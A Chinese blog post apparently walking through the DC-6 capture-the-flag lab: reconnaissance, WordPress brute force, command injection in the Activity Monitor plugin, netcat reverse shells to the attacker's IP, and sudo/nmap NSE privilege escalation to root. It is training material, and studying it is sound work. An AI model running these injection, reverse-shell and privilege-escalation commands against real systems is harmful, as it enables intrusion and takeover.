当前位置: 首页 > article >正文

DC-6靶机渗透测试全过程

目录

前期准备

一、渗透测试

1.IP地址查询

2.端口信息搜寻

3.网页信息搜集

wappalyzer

 WPScan

反弹shell

graham用户

反弹出jens的shell

nmap提权

 二、总结


前期准备

攻击机: kali windows11

靶机:DC-6靶机(调至NAT模式)

一、渗透测试

1.IP地址查询

┌──(root㉿kali)-[~]
└─# arp-scan -l

通过比较MAC地址,可以得到靶机的IP地址为 192.168.105.164

2.端口信息搜寻

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.164

可以看到又开了SSH,后面应该又要登录

3.网页信息搜集

访问靶机的80端口

看起来又被重定向掉了?还记得之前打靶机的经验,尝试去改hosts文件

到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打开)

 保存下网页就能够正常访问了

wappalyzer

 WPScan

看到一个很熟悉的cms——WordPress,这是我们之前打过的一个cms,并且还记得相应的工具WPScan。直接上网上搜,发现了WordPress 5.1.1 的漏洞。边看看网页边用dirseach扫一下目录。但是由于我们是在windows的hosts文件中改的重定向,而用wpscan扫网站时用的是kali,所以还应该将kali中的hosts文件修改一下,在 /etc/hosts

┌──(root㉿kali)-[~]
└─# wpscan --url http://wordy -e u

 成功扫出来了一些账号名(保存为user.txt)然后尤其关注登录页面

以及用dirsearch扫出来一些目录

 

先尝试到登录界面去 /wp-login.php

这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

可惜这样并不能够爆破成功,密码没匹配上。。。看了别的师傅的wp才知道官网给了密码的提示

提示我们用kali中的字典并匹配含k01这样的密码,在该目录下

发现rockyou还是个压缩包,先解压得到rockyou.txt文件

┌──(root㉿kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d

先回到dc-6目录,根据官网提示给的命令得到密码字典

┌──(root㉿kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt

然后再用wpscan进行爆破

┌──(root㉿kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt

最终只得到了一个账号: mark helpdesk01 直接登录!

好的,现在想一下如何getshell(用mark直接ssh登录发现是不行的,权限不够)getshell可以通过命令执行弹一个shell,或者是得到别的账户密码再次尝试SSH

(1)首先可以去看看网页的功能,对一些可能的功能点进行测试

(2)可以看看WordPress 5.1.1 的历史漏洞,看看是否能够被利用

首先还是来看看WordPress 5.1.1 的漏洞,主要流传的是CSRF-to-RCE的那个漏洞

但看起来并不能够用于该靶机,只能在网页上找功能点了,而且一般来说,找的应该是插件的漏洞了,看看这里有哪几个插件

主要是这两个插件, 看看有没有什么历史漏洞?

可以看到百度上成功搜到了 Activity Monitor的历史漏洞,复现一下看看

这个地方看可以输入IP,和以前遇到的CTF题有点像,当我输入127.0.0.1 | ls -l 时,发现不能输入了,这里应该是有长度限制,看看是不是前端的长度限制

尝试只修改前端的检查试试,将其改为100

可以看到命令直接执行了,接下来弹个shell

反弹shell

现在kali上打开监听

nc -lvp 5555

然后在IP处输入

127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash

 点击执行就成功getshell了

然后用python开启交互式终端

python -c "import pty;pty.spawn('/bin/bash')"

再就是到提权了,先试试以往的提权方法

www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping

然后直接问AI “请问哪些可以用于suid漏洞提权”  但是看起来都不能利用,再试试 sudo -l,显示需要输入密码,这个密码也暂时是不知道的,只能再去看看别的一些用户了,去home目录下

www-data@dc-6:/home$ ls
ls
graham  jens  mark  sarah

看看各个用户下面有什么,说不定就有旧密码可以用于爆破

www-data@dc-6:/home/jens$ ls
ls
backups.sh

有到一个shell执行程序,看看是用来干嘛的

www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html

专门是用于解压 /var/www/html下的 backups.tar.gz的(看起来就是打包网站的),先放这里,继续看mark目录下的stuff

www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

这里写了一系列的事项(类似于一个flag)

恢复超空间驱动器的全部功能(需要和jens聊聊)

为sarah的告别派对买礼物

加新用户:graham - 密码为 GSo7isUM1D4 - 已完成

申请 OSCP 课程

为接替sarah工作的人买一台新笔记本电脑

此外在sarah目录下并没有找到文件,但是事项中毕竟给了graham的密码,另开一个终端,看看ssh能不能登录上

graham用户

成功登录上,看看graham能否提权

graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh

此时输入 sudo -l 就有反应了,用到的就是之前看到的那个执行程序(若想要无密码执行这个文件,需要用jens的身份), 先想想需要用这个程序干什么,再想想怎么用。这个程序最多让我们获得jens的shell,既然这样的话,不妨尝试通过这个程序登上jens的账户。尝试写入反弹shell

反弹出jens的shell

graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh

再打开kali的监听

┌──(root㉿kali)-[~]
└─# nc -lvp 5556

然后用jens的身份运行该文件

graham@dc-6:/home/jens$ sudo -u jens ./backups.sh

此时就成功获得jens用户的shell了,此时再看jens用户能不能提权

jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap

 看到这里有nmap,并且也是免密码运行的

jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22  2016 nmap

发现是root权限的,那就直接拿nmap来试试提权了,去百度搜索有关nmap的提权方式,发现有两种

nmap提权

(1)低版本的nmap提权: 利用nmap的--interactive 进入交互式命令行执行,然后执行!/bin/bash就行
(2)高版本的nmap提权:首先将提权命令写入脚本中,利用--script执行脚本
 echo "os.execute('/bin/bash')" > get_root.nse
 sudo nmap --script=get_root

这里应该就是用第二种了

jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh  backups.tar.gz  get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')

成功写入,接下来运行

jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nseStarting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#

成功提权到root!

root@dc-6:~# cat theflag.txtYb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8bYb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8PYbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"'YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8)Congratulations!!!Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.

 二、总结

(1)本次学习了nmap的提权方式,并且温习了下WPScan的用法,相比于主动去找插件的漏洞,感觉WPScan应该也能扫出来(感觉)

相关文章:

DC-6靶机渗透测试全过程

目录 前期准备 一、渗透测试 1.IP地址查询 2.端口信息搜寻 3.网页信息搜集 wappalyzer WPScan 反弹shell graham用户 反弹出jens的shell nmap提权 二、总结 前期准备 攻击机: kali windows11 靶机:DC-6靶机(调至NAT模式&#xff0…...

Win11 远程 连接 Ubuntu20.04(局域网)

Win11 远程 连接 Ubuntu20.04(局域网) 0. Ubuntu 开启共享1. Ubuntu系统中安装RDP服务器2.windows中连接使用方式1:远程桌面连接(winr: mstsc)方式2:mobaXterm 3 问题远程连接后出现黑屏 参考文献: 0. Ubuntu 开启共享 在ubunt设置中&#x…...

探索Hugging Face:开源AI社区的核心工具与应用实践

引言:AI民主化的先锋 在自然语言处理(NLP)领域,Hugging Face已成为开源社区的代名词。这个成立于2016年的平台,通过提供易用的工具和丰富的预训练模型库,彻底改变了开发者使用和部署AI模型的方式。截至202…...

文件分片上传 python

服务端功能 上传分片保存 app.route(/upload_filesliceprocess, methods[POST]) def upload_filesliceprocess(): file request.files[file] name_index request.form[name_index] complete request.form[complete] process request.form[process] c…...

外汇掉期(FX Swap):全球企业管理外汇风险的关键工具(中英双语)

外汇掉期(FX Swap):全球企业管理外汇风险的关键工具 引言 在全球化经济环境下,跨国公司、银行和金融机构经常面临外汇风险,因为它们的业务涉及多种货币。例如,一家中国公司可能需要欧元支付欧洲供应商&am…...

Visual Studio Code支持WSL,直接修改linux/ubuntu中的文件

步骤1 开始通过 WSL 使用 VS Code | Microsoft Learn 点击远程开发扩展包。 步骤2 Remote Development - Visual Studio Marketplace 点击install, 允许打开Visual Studio Code。 步骤3 共有4项,一齐安装。 步骤4 在WSL Linux(Ubuntu)中&#xf…...

网络安全“挂图作战“及其场景

文章目录 一、网络安全挂图作战来源与定义1、网络安全挂图作战的来源2、网络安全挂图作战的定义 二、挂图作战关键技术三、挂图作战与传统态势感知的差异四、挂图作战主要场景五、未来趋势结语 一、网络安全挂图作战来源与定义 1、网络安全挂图作战的来源 网络安全挂图作战的…...

开源在线考试系统开源在线考试系统:支持数学公式的前后端分离解决方案

开源在线考试系统:支持数学公式的前后端分离解决方案 项目介绍项目概述:技术栈:版本要求主要功能:特色亮点 项目仓库地址演示地址GiteeGitHub 系统效果展示教师端系统部分功能截图学生端系统部分功能截图 结语 项目介绍 项目概述…...

解决 ssh connect to host github.com port 22 Connection timed out

一、问题描述 本地 pull/push 推送代码到 github 项目报 22 端口连接超时,测试连接也是 22 端口连接超时 ssh 密钥没问题、也开了 Watt Toolkit 网络是通的,因此可以强制将端口切换为 443 二、解决方案 1、测试连接 ssh -T gitgithub.com意味着无法通…...

分享8款AI生成PPT的工具!含测评

随着人工智能技术的飞速进步,制作PPT变得愈发便捷,仅需输入主题指令,便能在瞬间获得一份完整的演示文稿。尤其在制作篇幅较长的PPT时,手动编写每一页内容并设计格式和排版,不仅效率低下,而且耗时耗力。 本…...

Java 设计模式总结

文章目录 Java 设计模式总结创建型模式(5种)结构型模式(7种)行为型模式(11种) Java 设计模式总结 设计模式(Design Patterns)是软件工程中解决常见问题的经典解决方案。它们提供了一…...

Spring Boot Actuator 监控✨

Spring Boot Actuator 是 Spring Boot 提供的一个强大的监控和管理工具,它可以帮助你深入了解和监控你的应用程序的运行状态。通过 Actuator,你可以获取应用程序的健康状况、内存使用情况、线程信息、HTTP 请求跟踪等。🚀 核心知识点 &#…...

解锁原型模式:Java 中的高效对象创建之道

系列文章目录 后续补充~~~ 文章目录 一、引言1.1 软件开发中的对象创建困境1.2 原型模式的登场 二、原型模式的核心概念2.1 定义与概念2.2 工作原理剖析2.3 与其他创建型模式的差异 三、原型模式的结构与角色3.1 抽象原型角色3.2 具体原型角色3.3 客户端角色3.4 原型管理器角色…...

23种设计模式 - 责任链

模式定义 责任链模式(Chain of Responsibility Pattern)是一种行为型设计模式,允许多个对象按链式顺序处理请求,直到其中一个对象处理为止。该模式将请求的发送者和接收者解耦,使多个对象都有机会处理请求。 模式结构…...

【Linux-命令】

Linux-命令 ■ ls■ cd■ pwd■ tree■ mkdir■ rm■ mv■ cp■ chmod■ chattr 文件的特殊属性■ cat■ 日期■ 关机■ find■ 查看文件内容■ cat■ ln■ mount 挂载一个文件系统■ uname■ 用户和组■ 打包和压缩■ zip■ gzip■ rar■ tar ■ 包■ rpm 包■ yum 软件包升级…...

豪越科技:消防安全重点单位一体化安全管控

在当今数字化高速发展的时代,消防安全的重要性日益凸显。豪越科技以其卓越的技术实力和创新精神,将物联网、大数据、人工智能等先进技术深度融合,打造出了功能强大的消防安全重点单位一体化安全管控平台,为消防安全管理带来了全新…...

LabVIEW无刷电机控制器检测系统

开发了一种基于LabVIEW的无刷电机控制器检测系统。由于无刷电机具有高效率、低能耗等优点,在电动领域有取代传统电机的趋势,而无刷电机的核心部件无刷电机控制器产量也在不断增长。然而,无刷电机控制器的出厂检测仍处于半自动化状态&#xff…...

EXCEL解决IF函数“您已为此函数输入太多个参数”的报错

IF函数的基本结构是IF(条件, 值为真时的结果, 值为假时的结果),所以标准的IF函数最多只能有三个参数。当用户输入的参数超过三个时,Excel就会报这个错误。比如多个IF语句叠加,但可能在嵌套的过程中没有正确关闭每个IF函数的括号,导…...

C#使用文件读写操作实现仙剑五前传称号存档修改

手把手教学仙剑五前传 称号存档修改器 首先找到 Pal5Q所在目录的save\global.sav 文件,这是一个只有488字节的文件,这里存放称号对应的编号ID,以及是否已获得该称号,1为已获取称号,0为未获取称号 [称号:是否获取]这是一个键值对 称号的编号ID是一个Int32数字,使用C#的方法Bi…...

Python 发布 Web 应用的常见方法及详细步骤

以下是 Python 发布 Web 应用的常见方法及详细步骤,涵盖从本地开发到生产环境部署的全流程: 一、基础准备:开发 Web 应用 1. 选择框架(以 Flask 为例) # app.py from flask import Flask app Flask(__name__)app.ro…...

记录一次部署PC端网址全过程

当我查看我之前写的文章时、顿时惊奇发出感慨:啥时候写的?是我写的么?疑惑重重… 所以说,好记性不如烂笔头。 记录一次部署PC端网址全过程 部署PC端网址分是三步:第一步:申请域名并映射到外网IP &#xff0…...

Spring——Spring开发实战经验(4)

摘要 本文深入探讨了 Spring 应用中 Interceptor(拦截器)、Filter(过滤器)和 Aspect(切面)的执行顺序、职责及典型使用场景。Filter 是 Servlet 级别的机制,主要用于日志记录、权限验证等&…...

深入探索HarmonyOS——构建万物智联的新时代

作者:林钟雪 引言 在科技日新月异的今天,操作系统作为连接硬件与软件的核心桥梁,正引领着数字化转型的新浪潮。HarmonyOS,作为华为自主研发的面向万物智联时代的分布式全场景操作系统,自发布以来便备受瞩目。它不仅打…...

算法12-贪心算法

一、贪心算法概念 贪心算法(Greedy Algorithm)是一种在每一步选择中都采取当前状态下最优的选择,从而希望导致全局最优解的算法。贪心算法的核心思想是“局部最优,全局最优”,即通过一系列局部最优选择,最…...

小白win10安装并配置yt-dlp

需要yt-dlp和ffmpeg 注意存放路径最好都是全英文 win10安装并配置yt-dlp 一、下载1.下载yt-dlp2. fffmpeg下载 二、配置环境三、cmd操作四、yt-dlp下视频操作 一、下载 1.下载yt-dlp yt-dlp地址 找到win的压缩包点下载,并解压 2. fffmpeg下载 ffmpeg官方下载 …...

I²C简介

前言 IC(Inter-Integrated Circuit, 内置集成电路)总线是由Philips公司(现属于恩智浦)在上世纪80年代开发的两线式串行通信总线,用于连接微控制器及其外围设备,控制设备之间的通信。 IC总线的物理拓扑示意…...

Spring容器扩展点

Spring容器扩展点 BeanDefinitionRegistryPostProcessorBeanFactoryPostProcessorImportSelectorImportBeanDefinitionRegistorBeanPostProcessorInstantiationAwareBeanPostProcessor--postProcessBeforeInstantiationSmartInstantiationAwareBeanPostProcessor--determineCan…...

spring boot知识点3

1.spring boot能否使用xml配置 可以,但是很繁琐,现在都建议走JavaConfig 2.spring boot的核心配置文件 application.properties application.yml 3.bootstrap.properties和application.properties的区别 b:用于远程配置 a:…...

Linux后台启动命令nohup并且MobaXterm后台启动断网也不关闭软件

nohup主要作用就是可以在后台运行,并可以选择将日志输出到指定文件。如启动一个程序,若使用./demo的方式启动程序当窗口关闭的时候程序也停止了,而且日志会直接输出到控制台非常不直观,nohup启动就可以解决这两个问题。 nohup与&…...

C++(23):unreachable

C++23在头文件 "><utility>定义了std::unreachable(),用于指示编译器,该段代码不应该被允许,因此编译器可以对该位置进行优化,如果一旦允许了该位置的代码,行为未定义: #include <utility> #include <iostream>using namespace std;int func(…...